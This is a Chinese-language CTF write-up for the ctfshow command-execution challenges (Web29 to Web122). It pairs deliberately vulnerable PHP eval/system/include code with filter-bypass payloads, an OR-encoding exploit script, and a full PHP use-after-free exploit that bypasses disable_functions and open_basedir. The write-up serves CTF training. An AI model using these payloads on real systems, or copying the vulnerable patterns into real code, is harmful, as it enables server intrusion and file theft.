ctfshow命令执行全部wp

Web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
//?c=system("cat fla?.php");
//?c=system("/bin/?at fla?.php");

Web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
//?c=passthru("cat fla?.p?p");

Web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
//?c=passthru("tac%09fla*");
//?c=eval($_GET[1]);&1=system('tac flag.php');
//?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
	无参函数读取

Web32(include包含)

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>

Web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>

Web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>

Web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>

Web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    eval($c);
  }

}else{
  highlight_file(__FILE__);
}
//?c=include$_GET[a]?>&a=data:text/plain,<?php system('cat flag.php');?>

Web37(自带include)

<?php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag/i", $c)){
    include($c);
    echo $flag;

  }
    
}else{
  highlight_file(__FILE__);
}
//?c=data:text/plain,<?php system("cat fl*");?>
//?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
    //<?php system("cat flag.php");?> 进行 base64 编码

Web38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/flag|php|file/i", $c)){
    include($c);
    echo $flag;

  }
    
}else{
  highlight_file(__FILE__);
}
//?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
//?c=data:text/plain,<?=system("tac f*")?>
    //php短标签绕过

Web39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
//?c=data:text/plain,<?php system("cat fl*");?>
	data://text/plain,这样就相当于执行了 php 语句。.php 因为前面的 php 语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用
//?c=data://text/plain,<?php system('cat fl*')?>)?><?php

Web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
//?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
//?c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php");
	get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括URL屁股后面接的pay),这里源码只定义了一个变量即c,加上你引入的pay就两个变量值了。reset用于将指向返回变量数组的指针指向第一个变量即c,next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码。
//?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); 

第三种方法解释(同第一种)

image-20250210220035626

Web41(或运算)

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|

我们可以尝试从ascii为0~255的字符中,找到或运算能得到我们可用的字符的字符。

生成可用字符的集合 rce_or.php

大体意思就是从进行异或的字符中排除掉被过滤的,然后再判断异或得到的字符是否为可见字符

然后再使用python Web_41_exp.py (url)

#rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# Web_41_exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php C:\\Users\\26387\\Desktop\\wangannote\\ctf\\ctf 做题记录\\ctfshow web入门\\命令执行\\rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("C:\\Users\\26387\\Desktop\\wangannote\\ctf\\ctf 做题记录\\ctfshow web入门\\命令执行\\Web41_rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

image-20250211104003607

Web42(>/dev/null)

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

" >/dev/null 2>&1"相当于黑洞,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

image-20250211110519086

法一:

所以payload

?c=ls&&ls		?c=ls%26%26ls

因为是url传过去的,所以要记得用url编码,不然没有回显(切记对&&等表示两个参数的分隔符用url编码,不然没有回显)

?c=cat f*%26%26ls

法二:

?c=cat flag.php%0a

这里的%0a是URL编码,表示换行符(\n) ,命令会被解析为:

cat flag.php

并且输出被重定向到/dev/null,错误也被丢弃

Web43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
//?c=tac flag.php%0a
//?c=tac f*%26%26ls

Web44

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/;|cat|flag/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=tac fl?g.php%0a
//?c=tac f*%26%26ls

Web45(过滤空格)

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| /i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09f*%26%26ls

Web46(过滤数字,$,*,空格)

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26

Web47

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26

Web48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26

Web49

<?php
\if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=tac%09fl?g.php%0a
//?c=tac%09fl?g.p?p%26%26ls
//?c=tac<fl''ag.php%26%26

Web50(过滤Tab,&)

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=tac<fl''ag.php||

Web51

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=nl<fl''ag.php||

Web52

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}
//?c=ls${IFS}/||
//?c=nl${IFS}/fla?||

Web53

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
    echo($c);
    $d = system($c);
    echo "<br>".$d;
  }else{
    echo 'no';
  }
}else{
  highlight_file(__FILE__);
}
//?c=nl${IFS}fla?.php
//?c=c''at${IFS}fla''g.p''hp

Web54(字符拼接过滤*)

<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}
//?c=/bin/?at${IFS}f???.php
	必须f???.php
//?c=vi${IFS}f???.php

Linux的很多命令存放在/bin/目录下,且可以通过绝对路径来使用,而且支持通配符。

如cat命令也可以这样使用:/bin/?at

Web55(过滤字母但没过滤数字,点)

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
//?c=/???/????64 ????.???
	意思为:?c=/bin/base64 flag.php
//?c=/???/???/????2 ????.???
    意思为:?c=/usr/bin/bzip2 flag.php   使用/usr/bin/bzip2 对文件进行压缩
    	最后访问/flag.php.bz2即可 下载下来的压缩包中包含flag.php

image-20250211234703777

方法三:无字母数字webshell

先构造一个post请求并上传文件。由于没有过滤".",所以通过执行文件中的Linux命令获取flag

创建html文件

image-20250212000657151

本地访问,随机上传一个文件 比如1.php

然后传入

/?c=.+/???/????????[@-[]]

"."(点)的用法,就是相当于source可以执行sh命令
一般来说文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写
后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母

post参数改为
#!/bin/sh

cat /flag.php

img

image-20250212000835240

Web56

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}
同Web55法三

Web57(过滤字母数字点$(()) 运算)

<?php
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

image-20250212153326862

echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20250212153456622

法二:

//?c=grep${IFS}'fla'${IFS}fla??php

Web58(POST请求)

<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

hackbar post传参c
c=show_source("flag.php");
c=highlight_file("flag.php");

方法二:

使用伪协议

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

Web59~Web65

<?php
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
c=show_source("flag.php");
c=highlight_file("flag.php");
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=file_get_contents('flag.php');

Web66

<?php
if(isset($_POST['c'])){
    $c= $_POST['c'];
    eval($c);
}else{
  highlight_file(__FILE__);
}
c=print_r(scandir("/"));
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

Web67~Web70

<?php
if(isset($_POST['c'])){
    $c= $_POST['c'];
    eval($c);
}else{
  highlight_file(__FILE__);
}
c=var_dump(scandir("/"));
c=var_export(scandir('/'));
c=highlight_file("/flag.txt");
c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";
c=require("/flag.txt");

Web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();//得到输出缓冲区的内容
        ob_end_clean();//清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>
可以执行php代码让后面的匹配缓冲区不执行直接退出。
c=var_export(scandir("/"));exit();//exit()输出一个消息并且退出当前脚本
c=require("/flag.txt");exit();
c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";exit();

Web72(利用php垃圾回收 uaf脚本 绕过open_basedir)

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

输入c=var_export(scandir("./"));exit(); 返回:

image-20250213113459761

输入c=var_export(scandir("/"));exit(); 返回:

image-20250213113345691

也就是说,本题设置了open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir()不能用ini_set()重新设置绕过。

https://www.freesion.com/article/5349629378/
附上一个用ini_set绕过open_basedir的脚本地址,本题不可用

首先要确定flag文件的位置。这里使用php伪协议glob://

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

image-20250213114256585

payload里的内容如下

<?php 
	$a = new DirectoryIterator("glob:///*");
			# 利用DirectoryIterator($path)可以实现遍历目录下的所有文件
			# glob:// — 查找匹配的文件路径模式
			# DirectoryIterator("glob:///*")   遍历根目录里所有文件
	foreach ($a as $f) 
	{
		echo ($f->__toString().' ');#循环遍历输出,并以空格为分隔
	} 
	exit(0); 
?>

据说利用了 php 的垃圾回收机制。代码涉及到偏移地址之类的。
这个脚本一般情况过下应该是可以直接使用,要求被攻击服务器必须是类unix系统,没有什么容易被过滤的函数,可能会被过滤的strlen()在脚本中也只是起到判断作用,可以调整修改的
<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

把以上代码通过 url 编码,然后传递即可 前面记得加上 ?>

image-20250213114757576

Web73

和71 72类似 但是比72简单

c=var_export(scandir("/"));exit();
c=require("/flagc.txt");exit();
c=include "php://filter/read=convert.base64-encode/resource=/flagc.txt";exit();

Web74(scandir被禁用)

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
c=require("/flagx.txt");exit();
c=include "php://filter/read=convert.base64-encode/resource=/flagx.txt";exit();

Web75Web76(open_basedir另一种mysql用法)

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

image-20250213125035779

try {
	# 创建 PDO 实例, 连接 MySQL 数据库
	$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
	#PDO PHP Data Object的缩写。统一各种数据库的访问接口。
	# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
	foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
		echo($row[0])."|";#load_file() 读取一个文件并将其内容作为字符串返回。
	}
	
	$dbh = null;
}

catch (PDOException $e) {
	echo $e->getMessage();exit(0);
}

exit(0);

#得知数据库名字
#https://blog.csdn.net/m0_48780534/article/details/125095560?ydreferer=aHR0cHM6Ly93d3cuY3Nkbi5uZXQvP3NwbT0xMDA4LjIwMjguMzAwMS40NDc2
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

就是通过php PDO连接数据库,通过数据库的函数间接查询文件内容

Web77(FFI)

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>

image-20250213130050281

存在flag36x.txt 和 readflag

尝试执行

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

image-20250213130248835

发现不让用mysql

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

然后再去访问/1.txt获得flag
$ffi = FFI::cdef("int system(const char *command);");  //创建一个system对象
$a='/readflag > 1.txt';  //因为页面不会回显,所以将内容输出到1.txt
$ffi->system($a);  //通过$ffi去调用system函数 

这个方式成功绕过了php对system函数的限制

FFI,php7.4以上才有

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。

Web118(环境变量)

先fuzz测试一下 发现能用的只有大写字母和一些特定的符号字符

构造bash内置变量

我们的payload可以使用nl flag.php nl使用变量构造,flag.php使用 ????.??? 通配符绕过

image-20250213140448014

所以,${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl。
${PATH:~A}${PWD:~A} ????.???
相当于nl flag.php

image-20250213140757423

其余可行payload:

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

${PATH:~A}${PWD:~A:${##}} ????.???

yu师傅提供的默认配置文件下的文件

image-20250213141932477

Web119(多过滤了PATH)

扩展一下Bash内置变量构造字符:

${RANDOM} :随机的几个数

${PWD} :/var/www/html

${USER} :www-data

${HOME} :当前用户的主目录

在这里插入图片描述

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

RANDOM
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。

IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3

payload 如下:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

就是/???/?a? ????.???

就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

就是/???/??t ????.???

就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

就是/???/?????4 ????.???

就是/bin/base64 flag.php

Web120(长度限64以内)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
  $code=$_POST['code'];
  if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){  
    if(strlen($code)>65){
      echo '<div align="center">'.'you are so long , I dont like '.'</div>';
    }
    else{
    echo '<div align="center">'.system($code).'</div>';
    }
  }
  else{
   echo '<div align="center">evil input</div>';
  }
}

?>
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

Web121(过滤SHLVL等)

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
  $code=$_POST['code'];
  if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){  
    if(strlen($code)>65){
      echo '<div align="center">'.'you are so long , I dont like '.'</div>';
    }
    else{
    echo '<div align="center">'.system($code).'</div>';
    }
  }
  else{
   echo '<div align="center">evil input</div>';
  }
}

?>

HOMEUSERSHLVL被过滤了

过滤${#SHLVL}可以用${##}${#?}

${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???

就是/???/??v ????.???

就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

就是/???/?????4 ????.???

就是/bin/base64 flag.php

Web122(过滤 # PWD)


<?php
